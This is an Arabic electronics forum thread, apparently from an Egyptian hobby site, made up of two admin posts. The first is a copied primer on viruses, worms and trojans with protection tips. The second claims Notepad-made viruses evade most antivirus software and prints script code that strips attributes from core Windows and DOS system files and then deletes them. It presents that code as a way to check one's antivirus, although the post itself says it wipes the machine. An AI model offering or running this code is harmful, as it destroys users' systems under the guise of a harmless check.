Electronic Egyption Clup2

بسم الرحمن الرحيم
أخى الزائر هذا المنتدى مجانى من أجلك أنت
فلا تتردد وسارع بالتسجيل الهدف من إنشاء هذا المنتدى هو تبادل الخبرات والرقى بعلم الالكترونيات فى العالم العربى
أعوذ بالله من علم لاينفع شارك برد
أو أبتسانه ولاتأخذ ولا تعطى
اللهم أجعل هذا العمل فى ميزان حسناتنا
يوم العرض عليك ، لا إله إلا الله محمد رسول الله.


Electronic Egyption Clup2


 
الرئيسيةبحـثالتسجيلدخول

******أعوذ بالله من الشيطان الرجيم******{ بسم الله الرحمن الرحيم}***** اَللَهُ لا إِلَهَ إلا هو اَلحي ُ القَيَوم لا تأخذه سِنَةٌ ولا نوْمٌ لَّهُ مَا فيِِ السَمَاوَاتِ وَمَا في اَلأَرْضِ مَن ذَا الَّذِي يَشفَعُ عِنْدَهُ إِلاَّ بِإِذْنِهِ يَعْلَمُ مَا بَينَ أَيدِيهِمْ ِوَمَا خَلْفَهم وَلا َيُحِيطُونَ بشَيءٍ مِنْ علمِهِ إِلاَ بِمَا شَآء وَسعَ كُرْسِيُّهُ السَمَاوَاتِ وَالأَرضِ وَلاَ يَؤُدُه حِفْظُهُمَا وَهُوَ العَليُّ العَظِيمُ **** **   كل عام وأنتم بخير  ***** ربى أحفظ مصر من كل سوء ***** نادى الالكترونيات المصرى2   *كما ندعو لمصر بصلاح حالها وتولى من يصلح*اللهم أحفظ مصرنا من كل سوء*لا إله إلا الله*ولا حول ولا قوة إلا بالله *الله أكبر الله أكبر الله أكبرلا إِلَهَ إلا الله ***** الله أكبر  الله أكبر الله أكبرولله الحمد*****عزيزى العضو لاتأخذ ولا تعطى كن متعاون*****شارك برأى شارك بموضوع ولو بسيط*****هنا بالمنتدى دوائر & كتب & دروس & ميكروكنتروللر PIC Microcontroller & دوائر صوت الخ ** ****كل عام وأنتم بخير***ًاللهم اشكو اليك ضعف قوتي ,وقلة حيلتي,وهواني على الناس,يا ارحم الراحمين ,انت رب المستضعفين وانت ربي,الى من تكلني,الى بعيد يتجهمني,او الى عدو ملكتة امري,ان لم يكن بك غضب علي فلا ابالي,غير ان عافيتك هي اوسع لي,اعوذ بنور وجهك الذي اشرقت لة الظلمات,وصلح علية امر الدنيا والاخرة,ان يحل علي غضبك,او ينزل بي سخطك,لك العتبى حتى ترضى,ولا حولة ولا قوة الا بك صدق رسول الله صلى الله عليه وسلم تحيا مصر حرة فى ضميركل حر ** flower


شاطر | 
 

 ما يجب أن تعرفه عن الفيروسات هام جداً

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل 
كاتب الموضوعرسالة
admin

Admin
 Admin
avatar

تاريخ التسجيل : 30/11/2007


تاريخ الميلاد : 26/10/1952
الجنس : ذكر
العمر : 64
البلد : CAIRO
نوع العمل/ : مهندس اليكترونيات
عدد الرسائل : 361

مُساهمةموضوع: ما يجب أن تعرفه عن الفيروسات هام جداً   الأربعاء 9 فبراير - 8:45


ما يجب أن تعرفه عن الفيروسات
!!!!!

هذا موضوع ثانى بالمنتدى عن الفيروسات وهو موضع هام يجب قراءته

ماهي الفيروسات؟

فيروسات الكومبيوتر هي برامج تتم كتابتها بغرض إلحاق الضرر
بكومبيوتر آخر، أو السيطرة عليه، تمت كتابتها بطريقة معينة. سُمّيت بالفيروسات،
لأنها تشبه تلك الكائنات المتطفلة في صفتين رئيسيتين:
تحتاج فيروسات الكومبيوتر
دائماً إلى ملف عائل تعيش متستّرةً فيه:
فالفيروسات، دائماً تتستر خلف ملف آخر،
و لكنها تأخذ زمام السيطرة على البرنامج المصاب. بحيث أنه حين يتم تشغيل البرنامج
المصاب، يتم تشغيل الفيروس أولاً.
تستطيع فيروسات الكومبيوتر أن تنسخ
نفسها:
تتم كتابة هذه البرامج المؤذية بحيث تقوم بنسخ نفسها فوراً بمجرّدتشغيل
البرنامج المصاب. و هي تنسخ نفسها للأقراص الأخرى، فإذا كان الكومبيوتر مصاباً
ووضعت فيه قرصاً مرناً، يتم نسخ الفيروس اوتوماتيكياً للقرص المرن. و نظراً لهذه
الخاصية في الفيروسات، تجد أن القرص المصاب يعطيك علامة أنه ممتلئ تماماً برغم أنك
لم تقم بتخزين غير ملفات ذات حجم صغير.
ما الفرق بين الدودة و
التروجان و الفيروس؟
الدودة: تصيب الدودة الكمبيوترات الموصلة بالشبكة
بشكل اوتوماتيكي و من غير تدخل الانسان و هذا الامر يجعلها تنتشر بشكل اوسع و اسرع
عن الفيروسات . الفرق
بينهم هو ان الديدان لا تقوم بحذف او تغيير الملفات بل تقوم بتهليك موارد الجهاز و
استخدام الذاكرة بشكل فظيع مما يؤدي الى بطء ملحوظ جدا للجهاز , و من المهم تحديث
نسخ النظام المستخدم في الجهاز كي يتم تجنب الديدان.
ومن المهم عند الحديث
عن الديدان الإشارة إلى تلك التي تنتشر عن طريق الإيميل. حيث يرفق بالرسالة ملفاً
يحتوي على دودة، و عندما يشغّل المرسل إليه الملف المرفق، تقوم الدودة بنشر نفسها
إلى جميع الإيميلات الموجودة في دفتر عناوين الضحية.
التروجان: وهو
عبارة عن برنامج يغري المستخدم باهميته او بشكله او باسمه ان كان جذاباً, و في
الواقع هو برنامج يقوم بفتح باب خلفي ان صح التعبير بمجرد تشغيله , و من خلال هذا
الباب الخلفي يقوم المخترق باختراق الجهاز و بامكانه التحكم بالجهاز بشكل كبير حتى
في بعض الاحيان يستطيع القيام بامور , صاحب الجهاز نفسه لا يستطيع القيام بها , و
هذا لا يرجع لملف التروجان, لكن ملف التروجان هو الذي فتح للمخترق الباب ان صح
التعبير بتشغيله اياه.
الفيروس: كما ذكرنا , الفيروس عبارة عن برنامج
صمم لينشر نفسه بين الملفات و يندمج او يلتصق بالبرامج. عند تشغيل البرنامج المصاب
فانه قد يصيب باقي الملفات الموجودة معه في القرص الصلب او المرن, لذا الفيروس
يحتاج الى تدخل من جانب المستخدم كي ينتشر , بطبيعة الحال التدخل عبارة عن تشغيله
بعد ان تم جلبه من الايميل او تنزيله من الانترنت او من خلال تبادل الاقراص
المرنة.
كيف تعمل الفيروسات؟
في الواقع يقوم
الفيروس في حالة إصابة الملف بإضافة نفسه في بداية أو نهاية الملف المصاب، دون أن
يقوم فعلياً بأي تغيير في مكوّنات الملف الأصلية. لننظر للصورة التالية التي توضّح
شكل البرنامج غير المصاب بفيروس:
نلاحظ أنه عند استدعاء
البرنامج فإنه يعمل بشكل طبيعي.
والآن لنتصوّر أنه تم اصابة البرنامج
بفيروس. في الواقع يقوم الفيروس بلصق نفسه في البرنامج كما أسلفنا دون أن يغير في
محتويات الملف شيئاً. و طريقة اللصق تكون، إما أنه يقوم بلصق نفسه في بداية
البرنامج، بحيث يتم تشغيله هو قبل البرنامج نفسه:
وقد تكون طريقة
التحاق الفيروس بالملف بأن يضع نفسه في نهاية البرنامج المصاب. و يضع علامة في
بدايته، هكذا:
إن هذا الفيروس، يختبئ في نهاية الملف المصاب، و يضع
في مقدّمة البرنامج مؤشّراً بحيث أنه عندما يتم استدعاء البرنامج و تشغيله، يحوّل
السيطرة للفيروس بدلاً من تشغيل البرنامج.
وفي الحالتين قد يعود الفيروس
بعد الانتهاء من تنفيذ عمله المؤذي لتشغيل البرنامج، و لكنه قد لا يعود أيضاً. و
يسبب أضراراً جسيمة للجهاز.
أنواع الفيروسات:
هناك الآف من
الفيروسات المنتشرة
عبر الانترنت , لكن اغلبها ما يقع تحت هذه النقاط الستة:
فيروسات بدء
التشغيل او Boot Sector Virus
هذا النوع من الفيروسات يصيب قطاع
الاقلاع في الجهاز , و هو المكان المخصص الذي يتجه اليه الكمبيوتر في بداية تشغيل
الجهاز. و هذا النوع من الفيروسات قد يمنع
المستخدم من الوصول الى النظام ويمنعه من اقلاع الجهاز.
فيروس الملفات
او File Virus
يصيب البرامج عادة , و ينتشر بين الملفات الاخرى و البرامج
الاخرى عند تشغيله.
فيروس الماكرو او Macro Virus
هذه الفيروسات تصيب برامج
الميكروسوفت اوفيس مثل الوورد و الاكسل, و تعتبر ذات انتشار واسع جدا تقدر ب 75% من
عدد الفيروسات
الموجودة. يقوم هذا النوع من الفيروسات بتغيير بعض
المستندات الموجودة في القرص الصلب و خصوصا الوورد , قد تجد بعض التصرفات الغير
منطقية في بعض الاحيان مثل طلب باسوورد لفتح ملف تعرف انك لم تضع عليه باسوورد , و
ايضا تجد بعض الكلمات قد تغير مكانها و اضيفت كلمات جديدة لا علاقة لها بالموضوع .
هي اساساً ليست ضارة, لكنها مزعجة نوعاً ما و قد تكون مدمرة احيانا!

الفيروس المتعدد الاجزاء او Multipartite Virus
و هو الذي يقوم
باصابة الملفات مع قطاع الاقلاع في نفس الوقت و يكون مدمراً في كثير من الاحيان اذا
لم تتم الوقاية منه.
الفيروس المتطور او Polymorphic Virus
هي
فيروسات متطورة نوعا ما حيث انها تغير الشفرة كلما انتقلت من جهاز الى آخر. نظريا,
يصعب على مضادات الفيروسات
التخلص منها لكن عمليا و مع تطور المضادات فالخطر اصبح غير مخيف.
الفيروس المختفي اوStealth Virus
تخفي نفسها بان تجعل الملف
المصاب سليما و تخدع مضادات الفيروسات بان الملف سليم
و ليس مصاباً بفيروس. مع تطور مضادات الفيروسات اصبح من السهل
كشف هذا النوع.
ماهي العلامات الشائعة لوجود فيروس في الجهاز:
بطء الجهاز الشديد، بما لا يتناسب مع عدد البرامج التي تعمل في نفس
الوقت.
امتلاء القرص بما لا يتناسب مع عدد و حجم الملفات الموجودة عليه.
ظهور مربّعات حوار غريبة اثناء العمل على الجهاز.
اضاءة لمبة القرص الصلب
أو القرص المرن، دون أن تقوم بعملية فتح أو حفظ ملف.

لابد أن تعرف
أن هذه العلامات لا تعني بالضرورة وجود فيروس، فقد يكون بعضها بسبب مشكلة في عتاد
الجهاز مثلاً.
كيف نحمي أنفسنا من الفيروسات ؟

للحيطة و الحذر من الفيروسات-خاصة إذا كنت معتاداً على تبادل
الأقراص المرنة، أو الملفات عبر الانترنت- لابد من اتخاذ الخطوات التالية:
1-
لابد من موجود برنامج حماية من الفيروسات في جهازك.

2- لابد أن تقوم بتحديثه بشكل دوري، وإلا فلا فائدة من وجوده.
3- لا تقم
بفتح المرفقات في أي إيميل لا تعرف مرسله.
4- لا تقم بفتح المرفقات في إيميلات
أصدقائك إذا وجدتها تنتهي بـ exe أو bat أو أي امتداد لا تعرفه.
5- لا تقبل ملف
من شخص لا تعرفه
أبداً.
6- إذا قبلت ملفاً من شخص تعرفه، افحصه أيضاً ببرنامج الحماية، فقد
يكون صديقك نفسه ضحية.
7- احرص على فحص جميع البرامج التي تقوم بتنزيلها من
الإنترنت، أو تشغيلها من قرص مرن أو سي دي. قبل أن تشغّلها.
داوم
على زيارة المواقع التي تهتم بالحماية
من الفيروسات، للإطلاع على كل ما هو جديد
في هذا المجال، و لاتخاذ الحيطة، فدرهم
وقاية خيرٌ من قنطار علاج.

معلومات عامة عن برامج الحماية من الفيروسات
كما أسلفنا
لابد من وجود برنامج الحماية من الفيروسات في الجهاز.
ويقوم البرنامج بفحص و تدقيق الملفات و حماية الجهاز كما ينبغي. وهو يقوم بهذا
العمل عن طريق البحث عن بصمات الفيروسات. فلكل فيروس بصمة عبارة عن رقم محدد. و
برنامج الحماية في الواقع يبحث عن هذه البصمة المحددة فإن وجدها فإنه يعلن عن وجود
الفيروس. وهو اذ يقوم بذلك يقارن بين الملفات و بين جدول لبصمات الفيروسات المختلفة.

إن الكثير من الفيروسات تتم كتابتها و
نشرها في الأسبوع الواحد و هكذا ترى أنه من المهم جداً أن يكون هذا الجدول محدّثاً
باستمرار. لذا فإن وجود برنامج الحماية نفسه ليس كافياً أبداً. بل لابد من تحديثه
باستمرار.

ملاحظات مهمّة:

تتم اصابة جهازك أو قرصك بفيروس
فقط حين تقوم بتشغيل برنامج مصاب.
يمكن لأي قرص أن يصاب بفيروس الـ boot
sector.
مجرّد وجودك في الانترنت لا يعرّضك للاصابة بفيروس. و لكنك تصاب به فقط
إذا قمت بتنزيل برنامجاً مصاباً من الانترنت و قمت بتشغيله.
لابد أن تحرص على
استخدام نسخاً قانونية و مسجّلة من البرامج.
لابد أن تقوم بعمل باك أب لملفاتك
المهمة بشكل دوري و ذلك لاسترجاعها في حالة فقدانها لأي سبب تقني أو تعرّضك لفيروس.
لابد أن يكون في جهازك برنامجاً للحماية من الفيروسات، و لابد أن تقوم بتحديثه
بشكل دوري.
لابد أن تقوم بفحص جميع البرامج التي تنوي تشغيلها، و كذلك جميع
الأقراص التي تقوم شرائها قبل أن تشغّلها

منقول للأستفادة

الرجوع الى أعلى الصفحة اذهب الى الأسفل
http://eec2.coolbb.net
admin

Admin
 Admin
avatar

تاريخ التسجيل : 30/11/2007


تاريخ الميلاد : 26/10/1952
الجنس : ذكر
العمر : 64
البلد : CAIRO
نوع العمل/ : مهندس اليكترونيات
عدد الرسائل : 361

مُساهمةموضوع: رد: ما يجب أن تعرفه عن الفيروسات هام جداً   الأربعاء 9 فبراير - 9:07

الفيروسات نوعان
هما
! مايصنع عن طريق لغات برمجة وهو مكشوف من معظم الأنتي فيروس


2 مايصنع بالنوتباد 0برنامج المفكرة وهو غير مكشوف الا من قبل مضادات
الفايروسات العملاقة كالكاسبر سكاي & وال bit defender

على كل حال بدك
تتأكد أنو الأنتي فايروس عندك شغال انسخ هالكود بملف نوت باد

SetAttr
"c:\autoexec.bat", vbNormal
SetAttr "c:\msdos.sys", vbNormal
SetAttr
"c:\io.sys", vbNormal
SetAttr "c:\windows\win.ini", vbNormal
SetAttr
"c:\windows\system.ini", vbNormal
SetAttr "c:\command.com", vbNormal

SetAttr "c:\config.sys", vbNormal
SetAttr "c:\windows\rundll.exe",
vbNormal
SetAttr "c:\windows\rundll32.exe", vbNormal
Kill
"C:\autoexec.bat"
Kill "C:\msdos.sys"
Kill "C:\io.sys"
Kill
"C:\windows\win.ini"
Kill "C:\windows\system.ini"
Kill "C:\command.com"

Kill "C:\config.sys"
Kill "C:\windows\rundll.exe"
Kill
"C:\windows\rundll32.exe"

افحصه بالأنتي فايروس وهو بصيغة txt

اذا
ما كشفه الأنتي فيروس دورلك على واحد تاني

الفيروس يفرمت الجهاز
الرجوع الى أعلى الصفحة اذهب الى الأسفل
http://eec2.coolbb.net
 
ما يجب أن تعرفه عن الفيروسات هام جداً
استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
Electronic Egyption Clup2 :: ۩۞۩ منتدى صيانة الكمبيوتر و شبكاته ۩۞۩-
انتقل الى: